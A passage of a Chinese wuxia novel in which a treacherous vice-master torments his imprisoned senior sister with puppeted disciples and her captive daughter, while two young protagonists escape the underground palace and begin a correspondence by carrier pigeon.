只见那前辈丝毫未动,直到黑色毒铃飞至眼前之时,左手才猛地向前推出,身体后撤,左掌悬空扣住毒铃。
而那两枚毒铃在其手掌中心飞速转动,直到化作齑粉散落在地。
“你以为,整个叶落山庄只有你会这般功法吗,你的功夫还差得远呢。也就是叶千愁那个傻子,能被你耍得团团转。”那怪人一边调息运气,一边冷冷道。
“哈哈哈哈,我当然知道师姐是江湖中数一数二的练武奇才,只可惜想要重出江湖,你是没有机会的。”那人接着说道:“只要你一天不将那《血饕餮诀》和炁源冰焰掌的功法传授于我,你就一天别想见到外面的太阳。”
说罢,他单手一挥,其身后的两人便走上前来。
“你看看,他们二人是谁啊?”接着他右手发力,那二人斗篷上面的黑帽齐齐揭下。
只见这二人竟然面上全无半分血色,一双眸子如同一对白色蜡丸,黑色瞳仁已经完全消失,如此情况真是前所未见。
那披头散发的怪人缓缓抬起头,一双明亮的眼眸从发隙间露出。
可她只看了这一眼,便仿佛全身被雷电重击般,即刻从地上弹起,抓住封锁她的铁笼栏杆。
她浑身剧烈颤抖着,口中发出呜咽的低吼声,仿佛下一秒便控制不住要将对面那人一口咬死。
而那名站在远处的黑衣男子,则笑了笑说道:“怎么,师姐这是在这地宫里呆久了,连自己的师弟师妹们都不认识了?”他摊开双手,像是在介绍两个令人得意的作品。
“这个,不是飞霜吗?”男人向那名女子腿后狠狠一踢,那女子顿时双膝跪地,可她竟然没有丝毫反抗,只是麻木地低着头一动不动。
接着,那男人又向另一名年轻男子后背猛击一掌,那男人便立时滚翻在地,双膝跪下的同时脸却紧贴在地面之上,同样毫无任何反应。
“这个是重溪。”说罢,那男人快步上前,将脚踩在重溪的头上,他旋转脚腕挤压着他的太阳穴,那男人额头青筋暴起,可雪白的眼珠仍然没有转动半分。
“我的傀儡之术,已经得到高人指点,如今精进大成,这炼化人傀已经易如反掌了。”方延度一边讥笑着,一边伸出右手。
只见他右手衣袖中即刻窜出五根银丝,分别系于那青年男子的脖颈和四肢之上,左手五根丝线也同样系于那名女子身上。
突然那男傀周身发出一阵“喀哒”之声,从地上猛然跳开,下垂的一双手臂向上抬起,顷刻间这人傀便行动如风,飞檐走壁皆不在话下。
他手中一套刚猛异常的掌法更是威力无穷,而他在方延度的操控下,似乎要比寻常的高手速度更为敏捷快速。
见到如此场景,方延度的五官似乎都开始变得扭曲,他激动地说道:“师姐,重溪的截心掌已经练得炉火纯青了。你记得吗,师父他老人家生前可是最疼爱这个小弟子,可师弟体态笨拙,不甚灵活,师父便苦心孤诣要他练得一副灵巧步伐,现如今我可是帮他完成心愿了。“
方延度又凑近几步说道:”只可惜他生前一对双拳能够开石,但现如今,他连动动手指都需要借我之手,啊哈哈哈啊哈。”
那男人笑着,左手指尖的丝线却又开始快速抖动。
此时那女傀的招式与方才男傀的动作截然相反,她一招一式,如似微风,柔中带刚,在那男傀的截心掌的掌风中自如穿梭,一双利
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爪在空中飞舞,破空声接连不断。
“怎么样,师姐,这飞霜的武功是不是也精进了不少,她的‘水袖流云’堪称速度一绝,‘素手仙’的名号是不是与此刻的她更是相配啊,哈哈哈哈。”
只见那铁门之后的怪人此时已经再也无法压制胸中怒火,她从牙关中挤出:“方延度,你这个畜生,我不会放过你的。”
她大口喘着粗气,突然一口鲜血向前直喷而出。
林醒致大惊,她想要冲出去,下一秒却将伸出来的手急忙收回。是啊,她出去又有什么用,无非是白白送死。
现今她只能透过棺材上的朽木洞口,偷偷地注视着眼前发生的一切。
“师姐,这地宫中只有我们几个人,你可以随便发泄,不会有别的人听到的。”那人双手一挥,十根银丝瞬时收回他的长袖之中。那两具傀儡便如同断了线的人偶,都直直向地面坠去。
“师姐,别急,我还要给你送上一份大礼,我想这一份礼物你一定会喜欢。”说罢,他左手一扬,身后站着的两个黑色人影便开始向前移动。
方延度将双手搭在那个身形矮小的黑色斗篷之上,用力扣住肩膀,说道:“师姐,若我没记错,你的女儿一直下落不明。她可是那个大魔头的血脉,你觉得如果武林中的人知道她还活着,会做什么?”
“你,你······”那怪人喘着粗气,喉咙哽咽着。
“对,我找到她了,你心心念念藏起来的孩子,我找到了。师姐当真是好计谋,把她送到漠北去,但你无论如何都想不到,就算你把她送到天涯海角,我也能把她给找到。”那男人嘴角微挑,脸上尽是骄傲的神色。
突然他将身前的黑色斗篷扯下,只见一个小女孩正呆呆地立在原地。
“月儿!”只见怪人大喊道。
可惜那女孩儿全然没有任何回应,她直勾勾地望向远方,一双大眼睛已几近灰色。
铁索怪人剧烈颤抖,她嘶吼着:“方延度,你这个小人,你欺师灭祖,残害同袍,妄悖人伦。”可她一边说着,一边又瘫坐在地上,唯一可以活动的左手在地上无助的捶打。
“师姐,你不必如此悲伤。月儿的情况和飞霜的情况不同,她还没有完全变成傀儡,只要······”
“只要什么?你怎样才能放过我女儿?”
“嘿嘿,这不难,关键就看你怎么做了。只要你肯把《血饕餮诀》告诉我,我便让你们母女团圆,即刻放你们一条生路。”
他将手中的折扇打开一下下拍在手心,接着一字一句地说道:“飞霜和重溪的下场你也看到了,他们两个人不安分,也不懂规矩,想要刺杀我,你看他们的下场如何。难道你想让月儿也步他们的后尘吗?”
说罢,手中折扇猛然一收,站在远处死死盯着那铁锁怪人。
躲在棺材中的林醒致心中不停咒骂这小人的卑劣,她望向一旁的叶明玄,却见他都紧闭着双眼,此时额头的汗水虽然渐渐褪去,但神智还并未清醒。
方才所发生的一切,叶明玄竟然奇迹般地错过了。他们在这窄小的棺材中紧挨着,叶明玄的气息打在她的耳根之处,林醒致只觉得面颊微微发烫,她轻轻转过身子,透过那小孔继续观察。
突然,林醒致注意到那方延度的身后,身着斗篷的另一位大人。那人的身形,她只觉得自己似乎在哪里见过,就在她怀疑那人身份之时,却登时脚下一沉,即刻继续向地底落下。
原来是叶明玄,他恍惚中一动身体,不知道触发了哪里的机关,只见这口棺材的底部突然打开,他们二人顿时被涌出来的黄沙裹挟着,直向深渊坠去。
11. 有惊无险
林醒致和叶明玄一路被黄沙裹挟,但叶明玄始终死死抓住林醒致的手没有松开。
此时他已经因为颠簸而逐渐醒来。
直到他们被黄沙冲到一扇铁门之前,这铁门到处锈迹斑斑,看来这道机关是多年未被使用过。
而此时已经别无他法,叶明玄右手持剑向铁锁上直砍下去,被锈蚀的铁锁被硬生生砍断。
随即二人一同运力,将铁门破开,却见眼见满是淤泥。
叶明玄真气运行,向外穿手而出。只见水底泥沙中伸出一只臂膀。
然而林醒致却不擅水性,她长吸一口气,随叶明玄从水中跃出。
此时,山庄众人正在到处寻找少庄主,而林风桥也在寻找自己的女儿。但他们都没有注意到,在石桥之下,两个小身影正跳出水面。
他们两个为了避免被发现,也不敢在此有过多停留,便马不停蹄地向屋内奔去。
对于此时仍然惊魂未定的二人,只觉得刚才发生的一切如似梦幻。
叶明玄的房中摆设都较为稀松平常,一扇白鹤屏风将客厅与内室隔开。那屏风之上,一对白鹤正张开翅膀向西而行,其中羽毛根根分明,栩栩如生。
林醒致眼神掠过屏风,却隐约看见客厅挂着一位女子画像,那画中女子身着异族服饰,容貌艳丽,气质出众,怀中还抱着一个婴儿。
但很快林醒致便将眼神移开,这一切都被叶明玄看在眼中:“那是我娘,她怀中抱着的婴儿就是我。”
“令堂真是一位美人,这画像画得也是极好,仿佛她就在眼前一般。”
然而身上来自地宫的阴寒还未散去,又经过冰冷的寒潭之水浸泡,林醒致忍不住打了个哆嗦。
就在这时,一方素白的手帕递到她的眼前。
叶明玄笑着:“擦一擦吧。”
林醒致抬起头,一张棱角分明却又带着三分稚气的英俊面庞映入眼帘。几缕乌黑的发丝垂落在他的额前,更添些许少年人的不羁。
她轻声道谢,接过布帕,凑近脸颊准备擦拭湿发,那上面散发出淡淡的香气,让她的心微微一动,只是她不知道这是何味道。
叶明玄布帕之上散发出的正是苏合香草的气息。
这苏合香是一种混杂着甘甜的药草香气,其具有舒气、辟秽的功效。
林醒致嗅着药草香,只觉得心中逐渐舒坦许多,气息也慢慢恢复平稳。
“你是怎么到地宫中去的?”叶明玄问道。
“我······我随父亲前来送酒,大人在忙,我便在附近玩耍,看到一只受伤的兔子,一路追到假山后,偶然发现你在舞剑······就······”,林醒致声音逐渐小了下去。
她不由地看向叶明玄身上的一道道血痕,又即刻将眼神收回:“我怕你发现,便想躲到那树洞中,却不想直接掉到地宫中去了。”
此时叶明玄注意到她躲闪的眼神,才明白,自己被父亲惩戒抽鞭子的狼狈场景也被这小姑娘看在眼里,双颊忽然一阵微烫。
“你稍等我一下。”叶明玄走向屋内,取出一件蓝色外衣,示意林醒致赶快换上。
“这是一件干净衣服,你且换上,莫要着凉了。”
叶明玄见林醒致有所犹豫,便接着说:“你放心这件衣服是简单的旧衣服,不打紧的。”
林醒致脱下湿漉漉的外衣,换上叶明玄的蓝色长衫,可是袖子却要长出许多。林醒致正要挽袖子,他却抢步上前道:“你别动,我来。”
林醒致才想起自己右手虎口撕裂,已经动弹不得。
她从怀中摸出一块小包裹,那是她临走之前从家带的一块母亲做的梅花糕。可惜打开一看,却见这梅花糕早已被湖水浸透,碎裂得不成样子。
她不禁叹了一口气,将手伸到少年面前:“你瞧,都碎掉了,也湿了。”
男孩看着她手中雪白的梅花糕,思绪渐渐地开始回忆小时候的事。
记得母亲在世的时候,也时常给他做一种梅花糕,不过与中原的做法不同,母亲是用羊奶糕的方法做的,那味道令人终生难忘,可惜的是他再也吃不到了。
林醒致见他盯着糕点的眼神中似是流露出几分忧伤,轻声说道:“等改天,你来我家,再尝尝我娘做的梅花糕。我娘做的梅花糕,怕是整个北盛也找不出来比她更厉害的了。"
“倒也未必”,叶明玄笑着摇了摇头。
林醒致略微蹙眉,“怎么,还有更厉害的人吗?”
“我娘,她做的梅花糕,与令堂不分上下。”
“哦?那你可以再让你娘做给你吃,对比一下到底谁更厉害。”
少年看了一眼她,若有所思地轻轻点了点头。
林醒致哪里知道,叶明玄的母亲早就在多年前去世了,母亲给他做的梅花糕的味道,永远留在了他的记忆中。
如此独一无二的味道,他是再也尝不到了······
林醒致本想着还要继续问叶明玄一些问题,但此时脑子却一片空白什么也想不起来。
就在这个节骨眼,他听到窗外传来父亲的呼喊声。
“林醒致,致儿,你在哪?我们回去了。”
父亲的声音十分急切,林醒致再不能停留下去。
“我得离开了,谢谢你的衣服。”林醒致简单抱拳向叶明玄行礼,然后她跑至窗边,单手推开窗户,纵身一跃而出。
“喂,你还没告诉我你的名字!我叫叶明玄!”叶明玄半个身子探出窗外叫道。
“林----醒----致,清醒的‘醒’,林下风致的‘致’!”
说罢,那瘦小的身影便消失在深沉的夜色之中。
幽静的山谷时不时传来几声乌鸦啼鸣。
林醒致左手握住缰绳,跟着父亲慢慢行走在古道之上。
父女二人一前一后,都不再言语。
林醒致知道父亲在生她的气,自己只说了是在追兔子时,不小心掉入了湖中,后被人从水中救起,这才逃过一劫。
想来她在湖中激烈挣扎,手上撞裂出一道伤口便也不足为奇。
林醒致心中明白,父亲对她外出一趟却将自己搞得如此狼狈的样子,很是不满。但他在看到自己虎口撕裂的伤口时,却仍会眉头皱结,脸上流露出心疼的神情。
每每想到这里,林醒致都想锤自己几下,让自己再长长记性。
她思来想去,还是觉得今天就当无事发生过,这一番惊心动魄的历险也就不必向父母言说了,免得他们再生出无谓的担心。
突然,林
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风桥转过头来问她:“”致儿,要骑一匹马,快点回家。”
此言一出,让心情本来十分低落的林醒致顿时来了兴致。
她急忙点了点头:“爹,咱们快点回家去吧,娘应该等急了。”
“哈哈哈哈哈”,林风桥大声笑道。
他翻身下马,快步走到林醒致的马前,将小女儿从马上抱下,带到前面那匹高头大马之上,
“致儿,你一只手可是要牢牢抓好了。”
“我会抓住的!”
“好!”
只见他抽出长鞭,冲着林醒致的马驹就是一鞭。
那马匹尖声长啸,前蹄扬起,如箭一般冲进漆黑的山道。
接着林风桥便朝着自己的马匹屁股上狠狠抽上一鞭。他紧抓缰绳,向着夜色飞驰而去。
然而他们父女二人回到家中自然是少不了宋云莲的一段数落。不过好在林醒致并无大碍,她虽然手上受伤,但经过宋云莲的一番包扎之后,已经好转。
哥哥林行远更是调皮捣蛋地嘲笑她,扬言若是自己去了叶落山庄,定不会生出如此事端。
宋云莲道:“怎么你不心疼妹妹,还要在那里冷言冷语。”
此时,林醒致则不顾自己手上的伤,抄起一旁的一根木柴便追着林行远满院子大跑。
林风桥和宋云莲夫妇夜里点着油灯,看着这趟订单所得收获颇丰,心道这一年的辛苦都算是值得。
他们心中盘算着来年定要将这的地窖中的玉华酿,再酿出翻上一倍的数量,待到来年再挣他一个盆满钵满。
夜里,林醒致听着屋外的寒鸦凄凉的叫声,脑海却当中不断浮现今日在地宫中的惊险场景。
只不过随之而来的便是与叶明玄相结识的喜悦。
叶明玄那一张俊美容颜似乎依然在她的眼前浮现,她回忆着今天的过往,竟在不知不觉中进入甜美的梦乡。
在梦中她似乎也已经穿着一身洁白的道服,成功拜入叶落山庄,而门下众弟子齐声道贺。
可惜霎时间场景突变,林醒致仿佛看见一条血色长鞭向自己披头甩来,她惊慌躲闪,但那条红鞭却跟随他步步紧逼,招招致命。
就在她退无可退之时,一柄银色长剑横在她身前。林醒致本以为那长剑是来保护自己的,不曾想那长剑的主人叶明玄却将手中剑直刺入她的胸膛。
林醒致被这可怕的梦一下子惊醒,发现自己竟然满头大汗。
她走至窗前,萧瑟的冷风从窗外扑面而来,让她意识变得逐渐清醒,原来这都是虚惊一场。
与此同时,叶落山庄中一处房间的油灯却还未熄灭,一位白衣少年正坐在床边,望向窗外。
白日里,那少女勇敢的音容笑貌此时仍然浮现在他的眼前。
少庄主叶明玄自幼便生长在这偏僻的叶落山庄。然而叶落山庄招收的大多都是男弟子,这般机智勇敢的小姑娘他还是第一次见。
现在叶明玄只觉得一切都如同一场梦,是上天注定让他们相遇,让他救下她,让他们一同经历生死之劫。
想到这里,少年望着高悬的明月,仍旧在暗暗回味。
他的嘴角隐约挂上一抹自己都没有察觉到的微笑,在心中不禁赞叹——“林醒致”真是一个好名字。
12. 白日飞鸽
当太阳从东方缓缓升起,一声啼鸣揭开天际的破晓。
村子中的男女老少又开始忙碌起来,孩童们穿着厚厚的棉袄,在村落的小路上四处穿行,到处洋溢着欢声笑语。
半山腰处一位黑衣人将手中鸽子放飞,只见一只白鸽从山间薄雾中穿出,正好落在风云客栈院内一棵梅花树的枝头。
那白鸽口中“咕咕咕咕”地叫个不停,引得林醒致还未穿好外衣便忙不迭地从屋中冲了出来。
“傻丫头,把衣服穿好再出去啊!”宋云莲提起她落在炕上的棉褂,紧随其后跟着跑了出去。
只见那鸽子通体雪白,全无一根杂毛,此刻正昂首挺胸地两脚岔开,踩在一株梅花枝干上,两只眼睛东张西望,似乎是在寻觅着什么。
“娘,你看它左脚上好像绑着什么东西。”林醒致兴奋地指给母亲看。
宋云莲的目光随着林醒致所指的方向看去,的确发现那白鸽腿上系这一个小物件。看来这只鸽子是一只信鸽。
“致儿,你走到树下,把胳膊抬起来,它就会飞过来了。”
林醒致回头看向母亲,小心翼翼地向前迈了几步。她抬起手臂,只见那飞鸽真的从树上直冲而下,稳稳落在她手臂之上
“娘,你看它,真的······好听话啊!”林醒致眼中露出惊喜的神色,她将鸽子腿上的信件拆下,心中却在思索,这会谁邮来的信呢?
只见那折成几折的信件上,写着“林醒致亲启”的字样。
正当她要将这封信打开之时,突然一道人影闪过,再定睛一看,这封信已然到了林行远手中。
林行远的脸上挂着坏笑,手中捏着那封信,得意洋洋道:“妹妹,这好东西就让我来读读吧。”
林醒致大眼睛瞪得滚圆,她快步上前想要从林行远手中将信夺过来,却不料哥哥后撤一步,弯腰低头,她一下子扑了个空。哥哥见她脸上已有愠色,心中更是欣喜,便撒开步伐向后院跑去。
“林行远,你给我站住,把东西还我。”
林行远则不管这些,他一边跑,一边将手中信件全部打开,大声念到:“醒致妹妹,哎呦,哪里来的混小子敢管我妹妹叫······醒致妹妹,哎呦哎呦,真是酸死了,受不了受不了。”
“你给我住嘴!!”林醒致此时,如同一只小刺猬,她一路横冲直撞,什么锅碗瓢盆都不管了。
但林行远似乎还没有停下来的意图,“山庄一别,已隔数日,不知你近来可好?手上伤口愈合可还顺利?”
就在林行远接着津津有味地读信时,林醒致一把抱住他的脖子,林行远猝不及防整个身体向后仰去。脚下一空,手中那信件就此飞了出去。
那轻薄的书信,随着微风,竟然直接落入了后院的水缸之中,字迹在接触水面的一刹那,便化作圈圈墨痕。
林醒致见状,直跑到水缸边,她呆呆望着水中的倒影,一言不发。
此时,林行远也知自己闯下大祸,他不知如何是好,只能向匆匆赶来的母亲求救。
“娘,我不是故意的,我······我只是想逗一逗她。”但他话还没说完,便被母亲打断。宋云莲做了一个“嘘声”的手势,示意他不要再说。
宋云莲来到水缸旁,轻轻覆上女儿的头,温柔地说道:“致儿,这封信你可知是谁发来的?不要伤心,咱们再写一封回信便是了。”
林醒致缓缓抬起头,她捞起水中的信件,像往常一样准备一口气冲出家门直接向红泉山上跑。可当她跑到大门前,却急忙停下了脚步,接着转身跑进屋内。
这时宋云莲走了进来,她轻轻掀开女儿的被子对她说道:“致儿不要着急,这封信,娘还是有办法把它恢复的。
林醒致听到母亲的话,急忙停止了哭泣,她破涕为笑,抱着母亲的胳膊,像一只小猫一样亲昵地蹭着。
这封信是叶明玄给她寄来的,信中说到自己的毒已经得到了有效的控制。叶落山庄的几位长老在紧急医师,不久之后他便要启程前去解毒疗伤。
而那只雪白的信鸽正是叶明玄所养。
在之后的一段时间里,他们两个人都通过信鸽来进行交流。只短短数日内,他们二人便往来书信十几封。
但林醒致每次放飞信鸽,都是瞒着母亲,宋云莲只当她在那山庄中结识了某个小弟子,也不以为意。
实际上,在他们逃出地宫的当天晚上,方延度便在那具大蛇的尸体上发现了剑痕,经过痕迹的比对,他能够确认这伤口便是叶明玄的月华剑所致。
这不光说明叶明玄进入过地宫,更意味着他已经知晓了地宫中的秘密。至于那地宫中的人有没有将来龙去脉尽数告知于他,尚且还不能确定。
当下,方延度必须找到叶明玄,不管采用什么办法都要先行封住他的嘴。
方延度让手下退下,自己则命后厨做了叶明玄最爱吃的点心并带着上好的金疮药前往他的住所。
夜色幽幽,叶明玄正倚在窗前,仔细擦拭着自己手中的宝剑----月华剑。这柄剑本来是一双,分别名叫月华和玄光。
当年,父亲的手下从岭西得到一块天外陨铁,他大喜之下便找到最好的铸剑师为儿子们打造了这一对神剑。
哥哥叶昭辰持月华剑,弟弟持玄光剑,正所谓“月华流霜刃,玄光破夜穹”,月华剑匹配“朔望剑法”,其剑光所至之处如同流动的霜华,清冷锋利;而玄光剑则如同一道黑色闪电,行“永夜剑法”,其锋芒足以划破深夜的天穹。
可是当哥哥去世之后,父亲便不让他再用玄光剑了。
叶明玄为了讨父亲的欢心,他换上哥哥生前最爱的白色衣衫,拿上他的银色宝剑,打扮成哥哥的样子,练习哥哥所学的剑法,只祈求父亲能看他一眼。
可是,事与愿违,无论他怎样努力,父亲的目光都不会为他停留。
即使他年仅十二岁便打败山中所有座下弟子,即使他苦心练习朔望剑法与当年的哥哥不相上下,父亲还是一如即往地冷漠。
他曾在无数个夜晚想过,父亲为什么要如此对自己,可他想不通,也找不出答案。
话说这叶落山庄的剑法可谓是天下闻名,其剑法素来是双剑,一种名为“朔望剑法”,一种名为“永夜剑法”,需要由二人分别修习。
这两套剑法,是由叶落山庄的祖辈大师在极北之地的永夜中修行时,苦思光阴流转所窥见的天地至理。
这朔望剑法,可诠释“光阴循环”,其剑法虚实变换,一招一式如同月之盈亏,潮之涨落,其中蕴含的是周而复始、否极泰来的天道规则。
而永夜剑法,则代表“光阴终结”,其剑招强劲冷硬,所过之处如星辰寂灭,万物冰封,暗示这世间万物终将走向永恒的终结。
这两种剑法,相生相克,所习之人或亲友或道侣,若双剑合璧则威力无穷,若持剑之人死战则会两败俱伤,陷入同悲共死的下场。
可现如今,练习朔望剑法的哥哥已经离去,这柄月华剑便由叶明玄来继承,可玄光剑又有谁能握起呢?
迎着月光,叶明玄望着手中的乌黑发亮的玄光剑呆呆出神,他的心中似乎隐约有一个答案,只是这答案太过着急,他也不知道究竟可否实现······
此时,一阵敲门声将他拉回现实。
“少爷,方副庄主求见。”
叶明玄心中疑问顿生,方叔叔为何这么晚来找他?
“请进。”
只见方延度一手提着一盒点心,一手拿着一个绿色瓷瓶。
“玄儿,我听下人们说,你受伤了,有没有好一些,这究竟是怎么回事?”
叶明玄眼睛一转,他记起自己晕厥之前分明看到石门大开,那出现在地宫中的人正是眼前的方延度。他此番来主动问他,怕是已经知道自己去过地宫,若是在继续遮掩隐瞒只怕会更加令人生疑。
于是,叶明玄果断说明自己受伤的原因,乃是被父亲鞭打之后心中愤懑,当下看到一只野兔,便想要将它抓过来供自己玩耍,却不料亲眼所见那兔子跳进了树洞之中。待他也纵身跳下去,却发现那百年树洞所通向的正是一座神秘地宫。
“哦。”方延度看着叶明玄的眼睛,若有所思地点了点头。
“那玄儿可在这地宫之中发现什么?”方延度进一步试探,且看叶明玄如何应答。
“晚辈在地宫中见一条巨大无比的蛇,他想要吃我,我便拔出月华剑同他殊死
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搏斗,但就在我快要将它击杀时,有位神秘人出手,替我解决了他。”
还不等叶明玄话音落下,方延度忙急着问道:“什么人?”
叶明玄则趁机反将一军:“方叔叔,这诺大的叶落山庄,地下宫殿想必你也不会不知道,我当时被大蛇重伤,体内毒发,便躲进了一口棺材中,直到晕厥了过去,而这地宫中的人我怕是还没有你清楚。”
方延度见这叶明玄如此聪明,说话滴水不漏,心中总觉得哪里不对劲,却也一时间无处发作。
“啊哈哈哈哈”,方延度开怀大笑,“好侄儿,叔叔这不是怕那恶人趁你昏迷之时,加害于你嘛,”他将手中折扇一挥,一柄灰色水墨扇子便呈现在身前。
他一边摇着扇子一边说:“那恶人若是趁你不备对你暗下死手,不光我无法向庄主交代,就连我这心中也便会受千刀万剐之苦。”说完,方延度斜睨着眼睛瞧向叶明玄,观察他下一步的反应。
然而叶明玄脸上却并未有任何变化,他抱起拳头向方延度深鞠一躬:“都怪玄儿淘气,让叔叔担心,这次生死之劫给了我教训,往后定不会再出现这样的事情。”
方延度看着叶明玄诚恳的眼神,慈祥地点了点头,其面上乌云似乎已经散去大半。
“只是······”
“只是什么?但说无妨。”方延度见叶明玄还有话要说,便挥一挥扇子,示意他继续说下去。
“侄儿只是好奇,这地宫中锁着的人究竟是什么来头,他又犯了何等罪孽要在这地宫中受这等折磨?”
眼下虽然叶明玄心中已有答案,但为了保险起见,也是要做戏做得全套。
他还是要刻意向方延度询问那怪人的来历。不然越是遮掩,越是躲避,那方延度便会更加怀疑他已经与那怪人有了更多的接触。
方延度眉头微皱:“怎么?你在那地下之时没有问他吗?”
“我在地下时,已经神智不清,无论我问什么,那怪人都始终是避而不答。后来,我心脉颤动,想要寻觅一处歇息之处,等到了木棺之中也就不记得了。”
“却不想,意识稍稍缓解,却意外触发那古棺中的机关,我便顺着黄沙一路被冲到了潭底,最终我以手中月华宝剑将腐朽的铁索斩断,逃了出来。”
叶明玄所说过程通顺流利,几乎是一气呵成,让人丝毫发现不出任何破绽,但却很好地省略了有关林醒致的一切。在这个版本的讲述中,叶明玄成功隐去了地宫曾经意外进入过第二个人的事实。
他抬头看向方延度,只见那人正蹙眉思索整个事情的来龙去脉,他开口道:“那玄儿,你又是被谁带回房中的?”
“是彭吉“,叶明玄看向他身后的一个小书童,对方延度道:“本来他要为我上药,却见我寻人而迟迟未归,又怕告诉大人为我再招来惩罚,便一人前去寻找。正好看见我从寒潭之中挣扎着爬上岸,便将我送回了屋中。”
方延度的眼睛一瞬间,发出一道冷冽的目光射向站在叶明玄身后的小书童。
那小书童虽被这一眼看得不知所措,但还是努力稳定心神,按照他和公子提前商量好的话做出回应。
“正如少爷所言,句句属实。”
这小书童名为彭吉,比叶明玄还要大上两岁,身强体壮,早已经练就一身护体功夫。然而在叶明玄遇到他时,他还只是死斗场中一个没有名字的死士,就算他在随便一场打斗中死去,这个世间也不会有任何人会为他哀悼。
但好在,这位来自于江湖上鼎鼎大名的叶落山庄的少庄主愿意收下他做自己的小跟班,还给他取了一个名字----彭吉。这份大恩大德,他便是要还一辈子的,别说帮少庄主圆个谎,就是要他献出生命他绝对会万死不辞。
方延度见他主仆二人一应一答说得毫无破绽,当下便也更信了三分。
“玄儿好好休息,待明日再来看你。”
“方叔叔慢走。”叶明玄刚要起身相送,方延度却扬起扇子,示意他不要再动,兀自一人走出房门,消失在夜色之中。
此时正值严冬,夜晚寒凉,叶明玄将窗户一一关上。
他望向杳无一人的夜色,却仍然觉得在黑暗深处有一双眼睛在盯着他。
13. 月夜之约
时间飞逝,林醒致和叶明玄依靠着通讯来往,情谊日渐浓厚。
叶明玄在信中为林醒致讲述着叶落山庄每日的所见所闻,他特意将自己从小养大的信鸽进行精挑细选,从而保证他们二人能够顺利通过书信交谈。
而林醒致则更为关心地宫之人的后续,毕竟那人身世可怜而且又救过他们的性命。
但叶明玄却在信中,将那人描述成十恶不赦的坏蛋。
方延度告诉他,那人正是杀害他姑姑的凶手,并且用他姑姑的血来修炼一种邪功。他们这么做正是要将此人的武功一点点废去的同时,让他生不如死。
可林醒致看了他的描述,心中却升起一阵无尽的寒凉。
那人在地宫中所言,分明就是故事中的大师姐,只不过因为长年被关在地下,样貌蓬头垢面以至性别难以分辨清楚。
而叶明玄更是在那方延度来到地宫之时陷入了昏厥,对所发生的事情全然不知。这也便给了他们坏人,编造事实,欺瞒真相的机会。
林醒致本来想要就此作罢,可这些时日里,每当她闭上眼睛,脑海中浮现的全是那女孩空洞的眼神和那铁锁怪人痛苦的泪水。
“烦。”
林醒致走到楼下,见父亲正在擦拭着橱台。
她开口道:“爹,如果你知道了一个秘密,你是会选择将它放在心里,还是公之于众。”
林风桥抬头看向女儿,他放下手中东西,拉着女儿坐在油灯前:“那要看是什么秘密了,若是旁人的隐秘之事,那最好是将它烂在肚子里。若是关乎他人存亡、国家危亡的秘密,纵使身有一死,也要将它大白于天下。”
“可若这个秘密,不是隐私之事,却又关乎到江湖纷争呢?”
林风桥面色忽然变得凝重起来,“怎么,你是发现了什么事情吗?”
“没······没有,只是想想罢了。”林醒致低着头不敢看向父亲的眼睛。
林风桥接着说道:“做事但求问心无愧便好。”
“做事·······但求问心无愧。”林醒致念叨着这句话,陷入沉思。
她不知道自己这些天来为何睡不着,难道是自己“问心有愧”吗,自己与那地宫之人素不相识,可为何她的遭遇却令自己如此心疼。
这段时间一直困扰她的便是,是否要将地宫中发生的事情都告诉叶明玄。
他当时晕厥过去,对地宫中所发生的事情全然不知。
“到底要不要告诉他,告诉他,副庄主实际上是真正的大恶人,让他求求他的父亲,放过那一对母女?”
林醒致想到这里,随手抄起桌上的一把瓜子,一粒一粒地数了起来。
“说,不说,说,不说······”
直到手指伸向手心中最后一颗瓜子,却发现这颗瓜子竟然是两颗连在一起,它们紧紧依偎着竟没有办法分开。
“真是老天都不给我答案。”
林醒致摇了摇头,正准备再抓一把瓜子重新数过,耳边却响起那句“但求问心无愧”。
她不再犹豫,找来纸和笔,蘸着米汤将各种细节一一写在信中,与此同时她另外准备了一张纸条。
林醒致将那纸条小心翼翼地绑在信鸽腿上上,她双手捧着白鸽走到庭院之中,向上一推,只见那白鸽即刻振翅高飞,消失在夜色之中。
此前叶明玄虽然在信中,向林醒致表明自己身体已有好转,可实际上他仍然是卧病在床。
按医师所言,他中毒已深,必须尽快前往医谷医治,否则性命堪忧。山庄中人马皆已经备好,只待第二天一亮,车马便会护送他前往医谷。
叶明玄倚靠在窗前等待着白鸽从远方飞来,可左等右等,却仍然不见鸽子的身影。
忽然耳边传来一阵“咕咕”之声。
小厮彭吉满脸笑容地跑进屋内:“少爷,您瞧这是什么。”
只见从他怀中,钻出一只白鸽。
“林姑娘,来信了。”
信中内容正是林醒致夜里约叶明玄见面,说有要事要告诉他。只可惜,叶明玄身体未愈,不好赴约。
他便让彭吉代替他前去。
晚上,林醒致悄悄起身,见父母仍在呼呼大睡,心下稍有放松,她蹑手蹑脚地推开房门,牵上一匹矮脚小马,点上火把,从家出发。
只待到了鬼哭湖附近,等来等去都不见叶明玄的身影。
就在她心灰意冷之时,只见山间小道之上奔出一匹白色骏马,其上坐着一头戴斗笠身披夜行衣的男子。
“阁下可是林姑娘。”来人开口虽然声音低沉却也带着一丝少年稚气。
“你是谁?”林醒致见来人并非叶明玄,当下立即神经紧绷。
“在下彭吉,是我家少爷的贴身书童,他今晚身体抱恙无法前来,特让我来赴姑娘之约。”
林醒致半信半疑:“你说他让你来的,可有何证明?”
那人笑笑,从怀中取出一张纸条,上面写着一行字“命彭吉代我赴约”,这几个字的确是叶明玄的手笔。
与此同时,彭吉还从腰间取下一枚白色玉佩,“你瞧,这正是我家少爷的物件,这下可以证明我的身份了。”
林醒致将怀中的信交给彭吉,叮嘱信中内容事关重大,他一定要亲自交到叶明玄的手中。
彭吉点点头,将信件塞入怀中。
“你等一下”,林醒致从怀中掏出两个包裹,“这里面装的是我娘和我做的梅花糕。你且带回去给你家少爷尝尝,就说这是我上次约定给他的。”
她又说道:“那个另一个包裹就给你吃吧,如此霜寒露重,你特意前来,想必肚子也饿了吧。”
彭吉心中一暖,这世间除了少爷以外,林姑娘倒是第二个注意到他的人。
心道:“心地善良之人必会与心地善良之人相吸引,少爷也算是结交了一个好朋友。”
彭吉轻声道谢。他二人就此别过,各自策马扬鞭,一个跃进林中小路,一个则沿着长奚古道飞速奔袭。
林醒致右手握住缰绳,骑着马一路飞奔。
她手上的伤已经痊愈,但却留下了一道深深的疤痕。此时,她就想尽快回到家中,希望父亲和娘亲都没有发现她离开过。
然而,待她行至红泉村附近,却见风云客栈此时已经灯火通明。
那灯下两道人影闪动,林醒致心知大事不好,一时间马匹停留在原地不知如何是好。
可思来想去,还是挥鞭策马,一溜烟地回到家中。
